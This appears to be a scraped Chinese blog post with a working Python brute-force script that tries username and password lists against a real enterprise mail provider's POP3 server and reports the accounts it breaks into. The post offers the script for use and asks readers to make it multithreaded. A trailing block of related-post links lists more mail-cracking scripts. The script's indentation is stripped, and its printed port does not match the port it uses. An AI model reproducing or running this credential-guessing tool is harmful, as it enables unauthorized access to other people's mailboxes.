python密码爆破脚本_企业邮箱爆破小脚本(Python版)
之前发了一个帖子:http://zone.wooyun.org/content/20379总结了几种企业邮箱爆破的一些小技巧,直接贴出具体的爆破脚本吧。以163企业邮箱为例,目前这个是单线程的,也是从网上找到的爆破google邮箱的代码简单修改成的,只支持pop3协议。小伙伴们可以修改成支持多种协议、多线程的,坐等。贴上代码:
#!usr/bin/python
#Email Pop3 Brute Forcer
#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com
#http://www.nxadmin.com
import threading, time, random, sys, poplib
from copy import copy
if len(sys.argv) !=3:
print "\n\t EmailPopBruteForcer v1.0"
print "\t --------------------------------------------------\n"
print "\t Usage: ./qmailpopbrute.py \n"
sys.exit(1)
server = "pop.qiye.163.com"
success = []
try:
users = open(sys.argv[1], "r").readlines()
except(IOError):
print "[-] Error: Check your userlist path\n"
sys.exit(1)
try:
words = open(sys.argv[2], "r").readlines()
except(IOError):
print "[-] Error: Check your wordlist path\n"
sys.exit(1)
try:
pop = poplib.POP3(server,110)
welcome = pop.getwelcome()
print welcome
pop.quit()
except (poplib.error_proto):
welcome = "No Response"
pass
def mailbruteforce(listuser,listpwd):
if len(listuser) < 1 or len(listpwd) < 1 :
print "An error occurred: No user or pass list"
return 1
for user in listuser:
for value in listpwd :
user = user.replace("\n","")
value = value.replace("\n","")
try:
print "-"*12
print "[+] User:",user,"Password:",value
time.sleep(2)
pop = poplib.POP3(server,110)
pop.user(user)
auth = pop.pass_(value)
print auth
if auth.split(' ')[0]!= "+OK" :
pop.quit()
print "unknown error !"
continue
if pop.stat()[1] is None or pop.stat()[1] < 1 :
pop.quit()
print "unknown error !"
continue
#print "\t\t\n\nLogin successful:",user, value
#print "\t\tMail:",pop.stat()[0],"emails"
#print "\t\tSize:",pop.stat()[1],"bytes\n\n"
ret = (user,value,pop.stat()[0],pop.stat()[1])
success.append(ret)
#print len(success)
pop.quit()
break
except:
#print "An error occurred:", msg
pass
print "\n\t EmailPopBruteForcer v1.0"
print "\t --------------------------------------------------\n"
print "[+] Server:",server
print "[+] Port: 995"
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words)
print "[+] Server response:",welcome,"\n"
mailbruteforce(users,words)
print "\t[+] have weakpass :\t",len(success)
if len(success) >=1:
for ret in success:
print "\n\n[+] Login successful:",ret[0], ret[1]
print "\t[+] Mail:",ret[2],"emails"
print "\t[+] Size:",ret[3],"bytes\n"
print "\n[-] Done"
如图:
最后编辑:2015-05-25作者:admin
这个作者貌似有点懒,什么都没有留下。
python密码爆破脚本_企业邮箱爆破小脚本(Python版)相关推荐
- python邮箱爆破_企业邮箱爆破脚本
#!usr/bin/python #!coding:utf-8 import threading,time,random,sys,poplib from copy import copy if len ...
- 阿里企业邮箱收费标准_企业邮箱费用明细表
阿里云企业邮箱收费标准(免费版/标准/尊享/集团),2023阿里云企业邮箱收费标准,免费版企业邮箱0元,标准版企业邮箱540元一年(原价600元一年),企业邮箱尊享版1400元一年,9折后1260元一 ...
- TOM企业邮箱登录入口在哪里?分享企业邮箱登录入口手机网页版
企业邮箱像个人邮箱一样,可以从很多入口登录,例如网页端.客户端.APP等.今天主要跟大家介绍TOM企业邮箱手机网页版的登录入口. 在什么情况下会用到手机登录企业邮箱呢? 出差在外,但同事说老板发了邮件 ...
- 最适合新手的python刷题网站_有没有适合新手练习Python的网站(做题类)?
直接在知乎看我整理的练习题就可以了, 给你分享一下我自己亲身经历过的python考试题(下面还有练习题大全哦~~~) 记得给小达点个关注~ 你可以参考下面的题进行练习,考试题换汤不换药,希望对你有帮助 ...
- python邮箱爆破_python制作企业邮箱的爆破脚本
按照师傅给的任务,写了一个企业邮箱的爆破脚本,后续还有FTP,SSH等一些爆破的脚本. 我先说下整体思路: 总体就是利用python的poplib模块来从pop3服务器上交互,根据获取的相关信息,产生 ...
- python程序下载腾讯企业邮箱附件_获取腾讯企业邮箱通讯录python脚本(带登录功能)...
之前的 帖子 加入了 @ sdc1992 提供的登录部分 根据邮箱和密码,获取企业通讯录 运行后会生成两个文件 一个只包含邮箱,可以用于后续爆破 一个为部门名称 和 部门下的员工邮箱的树形结构,可以方 ...
- hs8545m超级管理员密码_企业邮箱密码被盗用的解决方案
企业邮箱账号安全是各大公司非常关注的,如果账号密码被盗,后果非常严重.U-Mail企业邮箱将企业邮箱密码被盗的一般特征和U-Mail的紧急处理方法简要归纳,给大家做个参考: 如何判定企业邮箱被盗: 1 ...
- 获取QQ企业邮箱通讯录PY脚本
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Last Modified time: 2016-03-03 22:45:18 # @Descript ...
- python程序下载腾讯企业邮箱附件_python 发送邮件 QQ+腾讯企业邮箱
一.使用QQ邮箱或者腾讯企业邮箱 python 发送邮件属于网络编程方向的,在工作中,我需要经常用邮件来检测我的程序运行状况.使用起来十分方便,这里我就用腾讯企业邮箱作为我的收发邮箱来使用. 使用py ...
最新文章
- CSS、JavaScript、PHP和Python编程合二为一
- html调用百度地图语音播报,实现百度地图导航演示的语音播放功能
- 科普:不要对移动机器人有误解
- linux下开放端口
- 编程之美-24点游戏方法整理
- 如何将实时计算 Flink 与自身环境打通?
- XCTF-高手进阶区:lottery
- springcloud 整合 gateway_从Spring Cloud到Kubernetes的微服务迁移实践
- 回溯的问题合集(Leetcode题解-Python语言)
- html颜色叠加代码,html代码大全(基础使用代码)(颜色代码完整版)
- 【模型加速】TensorRT安装、测试及常见问题
- Labview视觉模块安装
- 关于ios app名称注册的问题(抢注)
- 【多字典公共键】快速找到多个字典的公共键及非公共键
- win10系统蓝牙服务器,如何打开win10系统的蓝牙并进行设备添加
- linux dnw工具,dnw for linux(pc)
- JAVA之线程子类秒表(静态)
- JavaScript根据用户输入动态计算周数
- 网吧登陆steam启动gta5一直启动不了
- Oracle索引的维护
热门文章
- spotlight on linux 安装及配置
- bak文件转oracle文件,如何在Oracle 11g中恢复.bak文件(How to restore .bak file in oracle 11g)...
- Delegate 基本概念
- 宝宝为什么经常拉肚子?
- 凝固永恒瞬间的艺术 纪实摄影到底怎么拍
- 金富瑞UCML2.0应用框架平台 for Asp.Net WEB 开发平台
- Spring+SpringMVC+MyBatis框架搭建-----详细教程
- 优秀的数据产品经理需要掌握哪些技能?
- 程序设计基础c语言上机考试,程序设计基础C语言上机考试题第一套.DOC
- PROTEL99画异形焊盘